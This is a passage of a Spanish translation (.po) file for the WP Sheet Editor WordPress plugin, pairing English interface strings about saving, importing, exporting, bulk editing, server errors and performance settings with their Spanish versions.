wp-sheet-editor/dev/inc/api/bootstrap.php:359 msgid "All changes saved." msgstr "Todos los cambios fueron guardados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Saving changes, don't close this page." msgstr "Guardando cambios, por favor no cierres esta página." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Some changes are not saved yet." msgstr "Algunos cambios no han sido guardados todavía." #: wp-sheet-editor/dev/inc/api/bootstrap.php:518 #: wp-sheet-editor/dev/inc/api/bootstrap.php:544 msgid "Content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/api/bootstrap.php:529 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Usa este editor para editar sólo el contenido, otros campos como etiquetas y " "categorías deben ser editados en la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/bootstrap.php:569 #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "WP Editor" msgstr "Editor de WP" #: wp-sheet-editor/dev/inc/api/bootstrap.php:593 msgid "View" msgstr "Ver" #: wp-sheet-editor/dev/inc/api/bootstrap.php:643 msgid "Modified Date" msgstr "Fecha de modificación" #: wp-sheet-editor/dev/inc/api/bootstrap.php:682 msgid "Excerpt" msgstr "Extracto" #: wp-sheet-editor/dev/inc/api/bootstrap.php:695 msgid "Delete completely" msgstr "Eliminar completamente" #: wp-sheet-editor/dev/inc/api/bootstrap.php:774 msgid "Order" msgstr "Orden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:837 msgid "Enter multiple terms separated by %s" msgstr "Ingresa varios términos separados por %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:866 msgid "Post type" msgstr "Post type" #: wp-sheet-editor/dev/inc/api/bootstrap.php:890 msgid "Password" msgstr "Contraseña" #: wp-sheet-editor/dev/inc/api/editor.php:207 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Puedes remover estos mensajes de ayuda en los ajustes avanzados)" #: wp-sheet-editor/dev/inc/api/editor.php:226 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:227 msgid "Enable" msgstr "Habilitar" #: wp-sheet-editor/dev/inc/api/editor.php:283 msgid "Please select at least one column to import" msgstr "Por favor, selecciona al menos una columna a importar" #: wp-sheet-editor/dev/inc/api/editor.php:284 msgid "Show column key" msgstr "Mostrar la clave de la columna" #: wp-sheet-editor/dev/inc/api/editor.php:285 msgid "" "This is the dynamic tag for this column. You can copy this and use it in the " "bulk edit tool" msgstr "" "Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo " "en la herramienta de edición masiva" #: wp-sheet-editor/dev/inc/api/editor.php:286 msgid "Click here to show all columns again" msgstr "Haz clic aquí para ver todas las columnas otra vez" #: wp-sheet-editor/dev/inc/api/editor.php:287 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens " "after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "El último lote de importación falló debido a un error del servidor, es más " "probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, " "importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva " "importación, a veces intentarlo de nuevo funciona (usa los \"Ajustes " "avanzados\" en el paso 1 de la importación para empezar desde una fila " "específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre " "después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos." #: wp-sheet-editor/dev/inc/api/editor.php:288 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de " "nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, " "pararemos la importación completamente." #: wp-sheet-editor/dev/inc/api/editor.php:289 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Por favor, corrige el error en el archivo e inicia una nueva importación. " "Puedes usar las \"Opciones avanzadas\" en el paso 1 de la importación para " "empezar desde esta fila específica." #: wp-sheet-editor/dev/inc/api/editor.php:290 msgid "

                  The import has finished

                  " msgstr "

                  La importación ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:291 msgid "" "

                  The export has been scheduled. You can close this popup. View scheduled exports." msgstr "" "

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las " "exportaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:292 msgid "" "

                  The import has been scheduled. You can close this popup. View scheduled imports." msgstr "" "

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. " "Ver las " "importaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:293 msgid "" "

                  The changes have been scheduled. You can close this popup. View scheduled changes." "

                  " msgstr "" "

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. " "Ver los " "cambios programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:294 msgid "" "

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk " "edits.

                  " msgstr "" "

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana " "emergente. Ver los cambios masivos " "programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:295 msgid "Modified cells" msgstr "Celdas modificadas" #: wp-sheet-editor/dev/inc/api/editor.php:296 msgid "The export has been edited successfully" msgstr "La exportación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "" "The list of Google Sheets files has been refreshed. Please search your file " "again." msgstr "" "La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu " "archivo." #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "" "This will disconnect your Google account from WP Sheet Editor which will " "stop all sync jobs configured with that Google account across all your " "WordPress sites. But other users can connect their own Google account, so " "other users' sync jobs linked to their own Google accounts will remain " "unaffected. Are you sure you want to disconnect your Google account " "completely?" msgstr "" "Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá " "todas las tareas de sincronización configuradas con esa cuenta de Google en " "todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar " "su propia cuenta de Google, por lo que las tareas de sincronización de otros " "usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. " "¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "" "Disconnecting the current site from your Google account and the WP Sheet " "Editor API will pause the sync jobs you created on this site. However, sync " "jobs created by other users on this site, which sync to their own Google " "accounts, will remain active. Your other WordPress sites will continue to " "function normally. Do you want to continue?" msgstr "" "Si desconectas el sitio actual de tu cuenta de Google y de la API de WP " "Sheet Editor, se detendrán las tareas de sincronización que hayas creado en " "este sitio. Sin embargo, las tareas de sincronización creadas por otros " "usuarios en este sitio, que se sincronizan con sus propias cuentas de " "Google, permanecerán activas. Tus otros sitios de WordPress seguirán " "funcionando con normalidad. ¿Quieres continuar?" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "The bulk edit has been edited successfully" msgstr "El cambio masivo ha sido editado con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "The import has been edited successfully" msgstr "La importación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Name of this export" msgstr "Nombre de esta exportación" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "" "Are you sure you want to delete this scheduled job and all its related files?" msgstr "" "¿Estás seguro de que quieres eliminar esta tarea programada y todos sus " "archivos relacionados?" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "Are you sure you want to delete this columns view?" msgstr "¿Estás seguro de que quieres eliminar esta vista de columnas?" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "

                  The process has finished

                  " msgstr "

                  El proceso ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "The selected product does not have variations" msgstr "El producto seleccionado no tiene variaciones" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "empty" msgstr "vacío" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "This will save you {clicks_count} clicks :)" msgstr "Esto te ahorrará {clicks_count} clics :)" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Encontramos columnas similares. ¿Quieres aplicarles la misma acción? " "{columns}" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Esta columna es sólo para las filas de variaciones, los productos padre no " "usan este campo" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "Editing the field: {field_label}" msgstr "Editando el campo: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Column not found. Try with another search criteria." msgstr "Columna no encontrada. Intenta con otro criterio de búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Esta columna es sólo para los productos padre, las variaciones no usan este " "campo" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "Paste using keyboard: Ctrl+V" msgstr "Pegar con el teclado: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Realign cells" msgstr "Realinear celdas" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Remove all filters" msgstr "Eliminar todos los filtros" #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Resize columns based on the values" msgstr "Redimensionar las columnas en base a los valores" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "Delete row" msgstr "Borrar fila" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "" "Do you want to delete {rows_number} rows from the database completely? If " "you want to restore them later, you should make a backup before." msgstr "" "Quieres borrar {rows_number} filas de la base de datos completamente? Si " "quieres restaurarlas después, deberías hacer una copia de seguridad antes." #: wp-sheet-editor/dev/inc/api/editor.php:321 msgid "Duplicate row" msgstr "Duplicar fila" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "Hide column" msgstr "Ocultar columna" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "Bulk edit column" msgstr "Editar esta columna masivamente" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Copy variations from this product" msgstr "Copiar variaciones de este producto" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "Delete field" msgstr "Eliminar campo" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Borraremos este campo meta de la base de datos y perderás los valores " "guardados en este campo en todas las filas. Deberías hacer una copia de " "seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la " "eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Delete serialized field" msgstr "Eliminar campo serializado" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "" "We will delete this serialized field, which includes all its subfields, from " "the database and you will lose the values saved in this field on all the " "rows. You should make a backup to be able to restore in the future. Do you " "want to continue with the deletion?" msgstr "" "Borraremos este campo serializado, incluyendo todos sus subcampos, de la " "base de datos y perderás los valores guardados en este campo en todas las " "filas. Deberías hacer una copia de seguridad para poder restaurar en el " "futuro. ¿Quieres continuar con la eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Edit meta key" msgstr "Editar la meta clave" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Error: The new value is empty or is equal to the old value" msgstr "Error: El nuevo valor está vacío o es igual al valor antiguo" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Showing rows from your last session." msgstr "Mostrando las filas de la última sesión." #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Export column" msgstr "Exportar columna" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado " "debido a un error.

                  Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  " "Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "The bulk edit was executed successfully. You can close this window" msgstr "El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana." #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "HABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: " "{columns}. ¿Quieres recargar ahora? Recargaremos automáticamente." #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Columna removida. Ve a \"Ajustes > Ocultar/mostrar columnas\" para " "habilitarla de nuevo" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios antes de eliminar " "columnas de la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo. ¿Quieres recargar ahora?" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Algunas filas fueron modificadas en segundo plano. Por favor, guarda los " "cambios y recarga la hoja de cálculo para ver los cambios." #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios " "antes de usar esta función." #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "No encontramos filas a actualizar a partir de la consulta de búsqueda. Por " "favor, intenta otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "We didn't find rows for the export. Please try another search query." msgstr "No encontramos filas a exportar. Por favor, intenta con otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Puedes encontrar todos los ajustes aquí, como la visibilidad de las " "columnas, etc." #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Oops, nothing found" msgstr "Oops, no encontramos nada." #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Upload image" msgstr "Subir imagen" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "View Gallery" msgstr "Ver Galería" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "No options available" msgstr "No hay opciones disponibles" #: wp-sheet-editor/dev/inc/api/editor.php:355 #: wp-sheet-editor/dev/inc/api/helpers.php:1341 msgid "Items loaded in the spreadsheet" msgstr "Elementos cargados en la hoja de cálculo" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "New rows added" msgstr "Se añadieron nuevas filas" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "El cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los " "cambios?" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Los cambios no se guardaron completamente. El proceso fue cancelado " "debido a un error .

                  Puedes cerrar esta ventana emergente.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  El guardado automático falló. Tus cambios no se guardaron completamente " "debido a un error. Puedes intentarlo de nuevo más tarde. Si el error " "persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "{updated} attributes have been merged." msgstr "Se combinaron {updated} atributos." #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "{updated} items saved of {total} items that need saving." msgstr "" "Se han guardado {updated} elementos de {total} elementos que necesitan " "guardarse." #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "" "Scanning variations to be created. {updated} products of {total} products " "have been processed." msgstr "" "Escaneando variaciones a crear. Se han procesado {updated} productos de " "{total} productos." #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "{deleted} duplicates have been removed." msgstr "Se eliminaron {deleted} duplicados." #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "All items have been saved." msgstr "Se han guardado todos los elementos." #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, " "guárdalos o serán descartados." #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "Everything is already saved." msgstr "Ya está todo guardado." #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta " "actualizar la página e inténtalo de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:368 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "El servidor no aceptó nuestra petición. No tienes permisos para realizar " "esta acción. Por favor, inicia sesión de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "The server is not available or overloaded. Please try again later." msgstr "" "El servidor no está disponible o está sobrecargado. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de " "nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "El guardado automático falló: El servidor no está disponible o está " "sobrecargado. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "El servidor no pudo procesar nuestra petición. Error del servidor. Por " "favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "El servidor ha excedido sus recursos asignados y no puede procesar nuestra " "solicitud." #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "El servidor está ocupado y tardó demasiado en responder a nuestra petición. " "Por favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "The server could not process our request. Please try again later." msgstr "" "El servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "Change background color" msgstr "Cambiar el color de fondo" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "" "

                  Missing column?

                  " msgstr "" "

                  ¿Falta una columna?

                  o " #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "¿Merecemos 5 estrellas? Sí, lo merecen. . - . No" #: wp-sheet-editor/dev/inc/api/helpers.php:444 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Extensión Pro)" #: wp-sheet-editor/dev/inc/api/helpers.php:448 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Instalar extensión gratuita)" #: wp-sheet-editor/dev/inc/api/helpers.php:551 msgid "The item could not be saved. Please try again in other moment." msgstr "" "El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro " "momento." #: wp-sheet-editor/dev/inc/api/helpers.php:1026 msgid "User not allowed to edit rows" msgstr "Usuario no autorizado para editar las filas" #: wp-sheet-editor/dev/inc/api/helpers.php:1308 msgid "No more posts available." msgstr "No hay más filas disponibles." #: wp-sheet-editor/dev/inc/api/helpers.php:1310 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "No se han encontrado filas que coincidan con los parámetros de búsqueda. " "Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente." #: wp-sheet-editor/dev/inc/api/helpers.php:1312 msgid "No posts available for the current page." msgstr "No hay filas disponibles para la página actual." #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "El archivo de registro no existe." #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" "¿Deshabilitar la ventana emergente que te pide instalar extensiones " "importantes?" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "" "We show a popup asking you to install free extensions when we detect that " "you are using a third-party plugin that requires special compatibility, " "which helps us prevent errors." msgstr "" "Mostramos una ventana emergente pidiéndote que instales extensiones " "gratuitas cuando detectamos que estás utilizando un plugin de terceros que " "requiere una compatibilidad especial, lo que nos ayuda a evitar errores." #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "Integraciones" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "Extensiones importantes" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "" "Some of your plugins require special compatibility, and we have created " "these extensions that you can download for free if you purchased our plugin." msgstr "" "Algunos plugins requieren compatibilidad especial y hemos creado estas " "extensiones que puedes descargar gratuitamente si compraste nuestro plugin." #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "" "It's important that you install them to prevent errors, but you can do it " "later if you want. Find this popup in the toolbar > extensions > " "Integrations." msgstr "" "Es importante que las instales para evitar errores, pero puedes hacerlo más " "tarde si quieres. Encuentra esta ventana emergente en la barra de " "herramientas > extensiones > Integraciones." #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "" "If you click on the \"download\" button, we will download the file from the " "official website: wpsheeteditor.com." msgstr "" "Si haces clic en el botón \"descargar\", descargaremos el archivo desde el " "sitio web oficial: wpsheeteditor.com." #: wp-sheet-editor/dev/inc/integrations/notifier.php:251 #: wp-sheet-editor/dev/inc/integrations/notifier.php:274 msgid "Extension name" msgstr "Nombre de la extensión" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Descripción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 msgid "Action" msgstr "Acción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Already downloaded" msgstr "Descargada" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 msgid "Download" msgstr "Descargar" #: wp-sheet-editor/dev/inc/integrations/notifier.php:270 msgid "Extensions that require update" msgstr "Extensiones que requieren actualización" #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Download update" msgstr "Actualización de descarga" #: wp-sheet-editor/dev/inc/integrations/notifier.php:290 msgid "" "When you finish downloading the plugins, you need to go to wp-admin > " "plugins > add new and install them." msgstr "" "Cuando termines de descargar los plugins, tienes que ir a wp-admin > plugins " "> añadir nuevo e instalarlos." #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #, fuzzy #| msgid "Need help?" msgid "Do you need help?." msgstr "¿Necesitas ayuda?" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "En vivo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Velocidad y rendimiento" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "Cargar las filas más rápido: Número de filas a cargar por lote" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 " "filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar " "este número para cargar más filas por página. CUIDADO. Cargar más de 200 " "filas por página podría sobrecargar tu servidor. Si detectamos que el " "servidor está sobrecargado, automáticamente se restablecerá a 10 filas por " "página." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "Exportar filas más rápido: Número de filas a exportar por lote" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un " "número alto, las exportaciones terminarán más rápido. Puedes usar un número " "alto de forma segura porque automáticamente volvemos a un número más bajo si " "el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 " "filas por lote y completar las exportaciones súper rápido y si detectamos " "lentitud en una exportación reiniciaremos automáticamente la exportación con " "10 filas por lote" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "Guarda los cambios más rápido: Número de filas a guardar por lote" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a " "la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al " "guardar, deberías reducir el número" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "Borrar filas más rápido: Número de filas a borrar por lote" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y " "otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa " "un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. " "Predeterminado: 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Aumentar la productividad" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "¿Usar la paginación en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y desactivar la lista infinita." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "¿Desactivar la carga automática de filas?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que " "puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar " "filas y cargarlas manualmente." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "¿Desactivar el modo de pantalla completa?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes " "la opción de salir del modo de pantalla completa. Habilita esta opción y no " "abriremos la hoja en pantalla completa." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "¿Cargar más filas al hacer scroll?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet 